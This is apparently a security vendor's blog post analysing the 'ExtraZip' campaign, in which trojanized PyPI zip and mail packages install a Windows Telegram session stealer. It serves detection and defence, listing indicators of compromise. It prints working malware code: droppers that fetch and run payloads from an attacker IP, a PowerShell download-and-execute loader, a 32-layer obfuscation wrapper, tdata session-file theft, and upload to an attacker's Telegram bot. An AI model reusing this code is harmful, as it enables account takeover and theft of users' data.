The Safety research team has identified a new malicious campaign that includes 14 malicious Python packages that pretend to be Zip utility or mail sender libraries. In reality, these packages deploy a Windows based infostealer. We are calling this campaign “ExtraZip” based on the name of one of the packages.

Executive Summary
The “ExtraZip” campaign is a trojanized Python library distributed via PyPI that masquerades as legitimate ZIP file archiving utilities or email sending libraries. Upon installation, the malware deploys a multi-stage attack chain that ultimately steals Telegram Desktop session files and exfiltrates them to an attacker-controlled Telegram bot.
The malware employs 32 layers of obfuscation to evade detection and analysis. This complex multi-layered obfuscation approach is intended to keep researchers or automated LLM detection engines from deobfuscating the payload.
An inventory of the malicious packages
mzip (2025-11-22) - devil.email@example.com
uzip (2025-11-22) - zheqre - devil.email@example.com
uuzip (2025-11-22) - necr - necr.email@example.com
minizip (2025-11-23) - pepro - necr.email@example.com
kzip (2025-12-10) - necr.email@example.com
gxzip (2025-12-10) - ulicam - necr.email@example.com
yzip (2025-12-11) - muerter - necr.email@example.com
smtblib (2025-12-15) - zaushik - hz.email@example.com
unizip (2025-12-22) - xxtentacicon - necr.email@example.com
smtrlib (2025-12-22) - xxtentacicon - necr.email@example.com
extrazip (2025-12-27) - h0k3tzij - necr.email@example.com
cryptozip (2025-12-28) - h0k3tzij - necr.email@example.com
smtmlib (2025-12-29) - h0k3tzij - necr.email@example.com
ziphash (2026-01-01) - hashzz - necr.email@example.com
Attack Timeline
- Initial Wave (Nov 22-23): Campaign started with 4 packages deployed rapidly within 2 days using two different email addresses
- Mid-Campaign Burst (Dec 10-11): Three packages deployed in quick succession, all associated with necr.email@example.com
- Late December Acceleration (Dec 22-29): Highest activity period with 6 packages deployed, showing escalation by multiple authors (xxtentacicon, h0k3tzij)
- New Year Deployment (Jan 1): Campaign continued into 2026 with ziphash package
- Dominant Actor: necr.email@example.com account used for 10 out of 14 packages (71%), suggesting primary threat actor
- Author Variety: 9 different PyPI author names used to evade detection through attribution diversity
Attack Chain Overview
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 1: Initial Infection via PyPI │
│ User installs malicious package: pip install extrazip │
│ User imports & instantiates archiver class. Triggers malware │
└────────────────────────┬────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 2: Second Stage Download │
│ C2: <hxxp://87.120[.]107[.]132:1488/drill> │
│ Save to: %TEMP%\\1.py │
│ Executes: pythonw.exe %TEMP%\\1.py (silent, no console) │
│ │
└────────────────────────┬────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 3: 32-Layer Deobfuscation │
│ Layer 1-32: exec((_)(b'...')) │
│ Each layer: Reverse → Base64 Decode → Zlib Decompress │
│ Final payload: Telegram session stealer │
│ │
└────────────────────────┬────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 4: Session Theft & Exfiltration │
│ 1. Find Telegram Desktop installation │
│ 2. Copy session files to %TEMP%\\tsecret │
│ 3. Create ZIP archive: %TEMP%\\tsecret.zip │
│ 4. Upload to Telegram Bot API │
└────────────────────────┬────────────────────────────────────────┘
Stage 1: Initial Dropper Analysis
There are several variations of the payload in the init.py file. The threat actors made slight changes to each package in an effort to not get caught. Some of the payloads obfuscate the payloads; others don't. Some packages encode the exfiltration function; others don't. Some of the packages put the payload in the init.py file, and others put it in the .py file.
The all pull the same second stage loader from the IP address 87.120.107.132, however.
File: extrazip.py (from extrazip package)
Deceptive Functionality
The package appears to be a legitimate ZIP archiving library with the following public interface:
class archiver:
def __init__(self, compression: int = zipfile.ZIP_DEFLATED)
def archive(self, zip_path: str, paths: list[str]) -> None
def extract(self, zip_path: str, extract_to: str = '.') -> None
Malicious Code (Lines 45-63)
Trigger Mechanism:
- Executes automatically in
__init__()method - Windows-only (
sys.platform.startswith('win')) - Wrapped in try/except for silent failure
Attack Sequence:
if sys.platform.startswith('win'):
try:
# Download second stage
code = requests.get('<hxxp://87.120[.]107[.]132:1488/drill>').text
# Write to temp directory
temp = os.getenv("TEMP")
filss = f'{temp}\\\\\\\\1.py'
with open(filss, 'w') as the_file:
the_file.write(code)
# Execute silently (no console window)
subprocess.Popen(["pythonw.exe", filss])
except:
pass
File: yzip.py (from yzip package)
Malicious Code
if sys.platform.startswith('win'):
script_path = os.path.abspath(__file__)
code = f'''$base64 = 'H4sIAAAAAAAEAIXLMQ7CIBQA0KuwQaOFUk0kONY41iaNcWEp5TdisBj4TfX2egOnNz3Wwlpe7ANGJP0nIzx5C8hvYJvgYcaCn+I6hzi4sw/A6B3xpYVQBy7risvq567Wcq+UcBPdEtpoc82QsukWG/xIyYZQY+zig+PwBlocSY9DwrJLcYScCftfvuZDs4SlAAAA'
$compressed = [Convert]::FromBase64String($base64)
$ms = New-Object IO.MemoryStream
$ms.Write($compressed, 0, $compressed.Length)
$ms.Seek(0,0) | Out-Null
$gz = New-Object IO.Compression.GzipStream($ms, [IO.Compression.CompressionMode]::Decompress)
$sr = New-Object IO.StreamReader($gz)
$cmd = $sr.ReadToEnd()
$str1 =[Convert]::FromBase64String("ZnJvbSAuZ3h6aXAgaW1wb3J0IGFyY2hpdmVy")
$str = [System.Text.Encoding]::UTF8.GetString($str1)
Set-Content -Path "{script_path}" -Value $str
Invoke-Expression $cmd
Remove-Item $PSCommandPath -Force'''
tmp = os.getenv("TMP")
put = tmp+"\\ab.ps1"
with open(put, "w", encoding="utf-8") as f:
f.write(code)
subprocess.Popen([
'powershell.exe',
'-NoProfile',
'-ExecutionPolicy', 'Bypass',
'-WindowStyle', 'Hidden',
'-File', f"{put}"
], stdout=subprocess.PIPE, stderr=subprocess.PIPE, creationflags=subprocess.CREATE_NO_WINDOW)
The base64 above decodes to:
(New-Object System.Net.WebClient).DownloadFile('http://87.120.107.132:1488/df', 'C:\Users\Public' + '\\build.exe'); Start-Process
('C:\Users\Public' + '\\build.exe')
File: ziphash.py (from ziphash package)
Malicious Code
The ziphash package doesn't mess around with obfuscating the second stage loader and just blurts out the download url in the clear in the ziphash.py file:
if sys.platform.startswith('win'):
try:
code = requests.get('http://87.120.107.132:1488/drill').text
temp = os.getenv("TEMP")
filss = f'{temp}\\1.py'
with open(filss, 'w') as the_file:
the_file.write(code)
subprocess.Popen(["pythonw.exe", filss])
code2 = requests.get('http://87.120.107.132:1488/key').text
filss2 = f'{temp}\\2.py'
with open(filss2, 'w') as the_file2:
the_file2.write(code2)
subprocess.Popen(["pythonw.exe", filss2])
except:
pass
Key Observations:
- Auto-installs dependencies:
psutil,requests(lines 6-13) - Uses
pythonw.exeinstead ofpython.exeto avoid showing console - Silent error handling prevents detection
- Execution is asynchronous (non-blocking)
Stage 2: Second Stage Loader
Retrieval Information
C2 Server: hxxp://87.120[.]107[.]132:1488/drill
File Location: %TEMP%\\\\1.py
Execution Method: pythonw.exe (windowless Python interpreter)
Stage 3: Heavily Obfuscated Payload
Obfuscation Technique
The malware employs 32 layers of nested obfuscation, each using the same pattern:
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]))
exec((_)(b'<obfuscated_payload>'))
Deobfuscation Process per Layer:
- Reverse the byte string (
__[::-1]) - Base64 decode the reversed string
- Zlib decompress the decoded data
- Execute the decompressed code
Layer Structure
Layer 1 → Layer 2 → Layer 3 → ... → Layer 32 → Final Payload
exec() exec() exec() exec() Python Code
↓ ↓ ↓ ↓ ↓
Base64 Base64 Base64 Base64 Telegram Stealer
Zlib Zlib Zlib Zlib
Purpose of Extreme Obfuscation:
- Evade static analysis tools
- Bypass antivirus signature detection
- Slow down manual reverse engineering
- Defeat automated sandbox analysis (timeout/resource exhaustion)
- Hide malicious intent from PyPI automated scans
Stage 4: Final Payload - Telegram Session Stealer
Overview
The final payload is a sophisticated Telegram Desktop session stealer that targets authentication data required for account takeover.
Technical Analysis
1. Telegram Installation Discovery
Method 1: Process Enumeration (Lines 98-112)
processes = psutil.process_iter(['name', 'exe'])
for process in processes:
name = process.info['name']
if name and "gram" in name.lower(): # Matches Telegram, TelegramDesktop, etc.
exe_path = process.info['exe']
path = os.path.dirname(exe_path) + "\\\\\\\\tdata"
paths.append(path)
Method 2: Static Path Enumeration (Lines 113-124)
static_paths = [
"%USERPROFILE%\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Telegram Desktop\\\\\\\\tdata",
"D:\\\\\\\\Telegram Desktop\\\\\\\\tdata",
"C:\\\\\\\\Program Files\\\\\\\\Telegram Desktop\\\\\\\\tdata",
"C:\\\\\\\\Program Files (x86)\\\\\\\\Telegram Desktop\\\\\\\\tdata"
]
2. Session File Targeting
The malware selectively copies specific Telegram session files:
Directory Targeting (Lines 52-56):
- Directories with exactly 16-character names (Telegram session directories)
File Targeting (Lines 58-68):
- Files ending in
swith exactly 17-character names (session keys) - Files starting with
usertag(user identification data) - Files starting with
settings(account settings) - Files starting with
key_data(encryption keys) - Size limit: Files must be under 5KB (filter out media/cache)
Why These Files:These files contain Telegram's authentication tokens and session data. With these files, an attacker can:
- Log into victim's Telegram account from any device
- Access all messages, contacts, and groups
- Send messages as the victim
- Access Telegram-based 2FA codes
- Access cryptocurrency wallets linked to Telegram
- Steal funds from Telegram-based crypto bots
3. Data Staging (Lines 44-47)
stealer_dir = os.path.join(tempfile.gettempdir(), "tsecret")
# Creates: %TEMP%\\\\tsecret\\\\
Staging Process:
- Create temporary directory:
%TEMP%\\\\tsecret - Copy all targeted session files
- Recursively copy session directories
4. Archive Creation (Lines 70-73)
zip_archive = os.path.join(tempfile.gettempdir(), "tsecret.zip")
shutil.make_archive(base_name=zip_archive.replace('.zip', ''),
format='zip',
root_dir=stealer_dir)
Output: %TEMP%\\\\tsecret.zip
5. Exfiltration via Telegram Bot API (Lines 79-96)
Primary Exfiltration Method:
files = {
'document': ("tsecret.zip", zip_file, 'application/zip')
}
payload = {
'chat_id': str("8031384908")
}
response = requests.post(
"<hxxps://api[.]telegram[.]org/bot8238188380:AAF4lnYaCLyMSZjo6nE1tHXhM8utdGKZYjw/sendDocument?">,
data=payload,
files=files
)
Backup Exfiltration Method (Commented Out):
# <hxxp://87.120[.]107[.]132:3301/reactor>
# headers = {"Authorization": "you_stupid_bastard"}
Why Telegram Bot API:
- Encrypted HTTPS traffic (harder to detect)
- Legitimate service (blends with normal traffic)
- No need to manage separate C2 infrastructure
- Free and anonymous bot creation
- Built-in file storage
- Difficult to takedown (requires Telegram cooperation)
Indicators of Compromise (IOCs)
PyPI Packages:
cryptozip
extrazip
gxzip
kzip
minizip
mzip
smtblib
smtmlib
smtrlib
unizip
uuzip
uzip
yzip
ziphash
File hashes:
3f441cf33c869fac752f17d67fbc0815f09f7506dda4b05255e2a8b5df4c76f7 ../extrazip_second_stage.py
2599af93cd73e5e5ae06a4eed9a40330df16debeb4e3c65a8b513f1bb5bf0bba ../final_malware_payload.py
28a6388e585a8755cee506add67eafe989c4b3b60aae2852efabc8fb1d35c92f ./smtblib/__init__.py
b2e0d1cbec32e7ff3cffc6cf8ff0b68eea5e626acba412a23d134f75260ea50a ./smtblib/smtblib.py
7323f6a424d9e29a70858ed6fe0ef1316bed399d7d76fb1e8517ddc69fd7f3bf ./unizip/__init__.py
c8db57ebe02523bd628f22c2fddfc88ff3e3d78eb9077514d42c48182729992f ./unizip/unizip.py
558409971dcafeeea9ff69dd6503cf2eb9923b90ee4dec83aec270c60a929e37 ./ziphash/__init__.py
73bce019f9f444b47c6d22e6bc4dda862e1dbbd818ce70a1a627dd873d096297 ./ziphash/ziphash.py
c2112679c440e410839c3e0c6cc3ebff3dd7f3b7123a5e16fdc293d3475b875c ./gxzip/__init__.py
ade799406b218b9c2ed23a1eec3c8c3a5d0269d93d3beca2dfec02053f35c753 ./gxzip/gxzip.py
f9e52d79e10d995f2fdab28f76b174e2b279f7eecce53c889e9ff05ce98be442 ./mzip-0.1.0/mzip/__init__.py
9215da9d28688d107ac53d7068a7d9222281b1878d8c5923641512abc4a7c6d6 ./mzip-0.1.0/mzip/mzip.py
29d629316d0a41d5974c847dfb8faf02243608d00f49338d30a57093f5a0e289 ./mzip-0.1.0/mzip/mzlp.py
6e1b1295e86e774c1d5ce85b284e9d761296c1e49009dcbae4c6eeaebcb24857 ./minizip/__init__.py
324549c09da22a1649df1dc4bca540105b65c3e3fc1bdcda66139cfe2ac8fe84 ./minizip/minizip.py
b9d5dbae996106c2e2c759e8f7cd010147a62d2d7e76f03e9f189d170d2ccf3b ./yzip/__init__.py
ade799406b218b9c2ed23a1eec3c8c3a5d0269d93d3beca2dfec02053f35c753 ./yzip/yzip.py
324549c09da22a1649df1dc4bca540105b65c3e3fc1bdcda66139cfe2ac8fe84 ./uuzip/uuzip.py
02c11ed0f4182b35a6b710da6c40667fd53c4993e5b5414be214d88466f73d67 ./uuzip/__init__.py
baa5ca4830519650873933027ccb6b5c60b9ce20228523c9245df85ea1c2f6a8 ./uzip/__init__.py
2a361d2e16e1cae249e4d0ded857d2f10057f13a328d6b509f3a65c0bec2ede1 ./uzip/uzip.py
29d629316d0a41d5974c847dfb8faf02243608d00f49338d30a57093f5a0e289 ./uzip/uzlp.py
adbe53bb618772dab89e042269478a6cec4b2650de90b9341d29ab371bc1f9fe ./kzip-0.1.0/kzip/__init__.py
ade799406b218b9c2ed23a1eec3c8c3a5d0269d93d3beca2dfec02053f35c753 ./kzip-0.1.0/kzip/kzip.py
Network Indicators
C2 Server: 87.120.107.132 - Second stage download endpoint
C2 Endpoint: hxxp://87.120[.]107[.]132:1488/drill - Second stage payload URL
Backup C2: hxxp://87.120[.]107[.]132:3301/reactor - Alternative exfiltration endpoint
Exfiltration: api[.]telegram[.]org/bot8238188380:AAF4lnYaCLyMSZjo6nE1tHXhM8utdGKZYjw/sendDocument - Telegram Bot API endpoint
C2 Server: 77.105.161.164 - smtb packages C2 server
C2 Endpoint: hxxp://77.105[.]161[.]164:3301/library - Second stage payload URL for smtb packages
File System Indicators
%TEMP%\1.py - Second stage payload
%TEMP%\tsecret\ - Staging directory for stolen sessions
%TEMP%\tsecret.zip - Exfiltration archive
Python site-packages\extrazip/ - Malicious package directory
Telegram Indicators
Bot Token: 8238188380:AAF4lnYaCLyMSZjo6nE1tHXhM8utdGKZYjw - Attacker's Telegram bot
Chat ID: 8031384908 - Attacker's Telegram chat/channel
Process Indicators
pythonw.exe %TEMP%\1.py - Silent execution of second stage
python.exe -m pip install psutil --quiet - Auto-dependency installation
python.exe -m pip install requests --quiet - Auto-dependency installation
How can Safety help protect you from these attacks?
Traditional vulnerability scanning happens too late - after potentially malicious code is already in your system. Which means that ASPM and EDR solutions don't protect you from this type of threat.
But all is not lost, as the Safety Firewall protects develoeprs and CI pipelines proactively. Every package installation request is analyzed before reaching public repositories. Malicious, vulnerable, and policy-violating packages are automatically blocked before they can enter your systems, preventing rather than just detecting threats.
You can sign up for a free Safety account and try the Safety Firewall HERE.
Feel free to reach out to me with any questions!
Let us know if this blog post helped you
I hope this blog post has helped you. Feel free to hit me up directly if you have any questions about this campaign.

Paul McCarty - Head of Research, Safety
You can find me on LinkedIn and BlueSky.


.png)


